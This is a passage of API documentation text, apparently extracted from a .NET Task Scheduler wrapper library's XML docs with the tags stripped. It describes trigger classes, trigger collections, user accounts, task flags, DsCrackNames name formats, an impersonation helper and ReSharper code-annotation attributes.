event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the 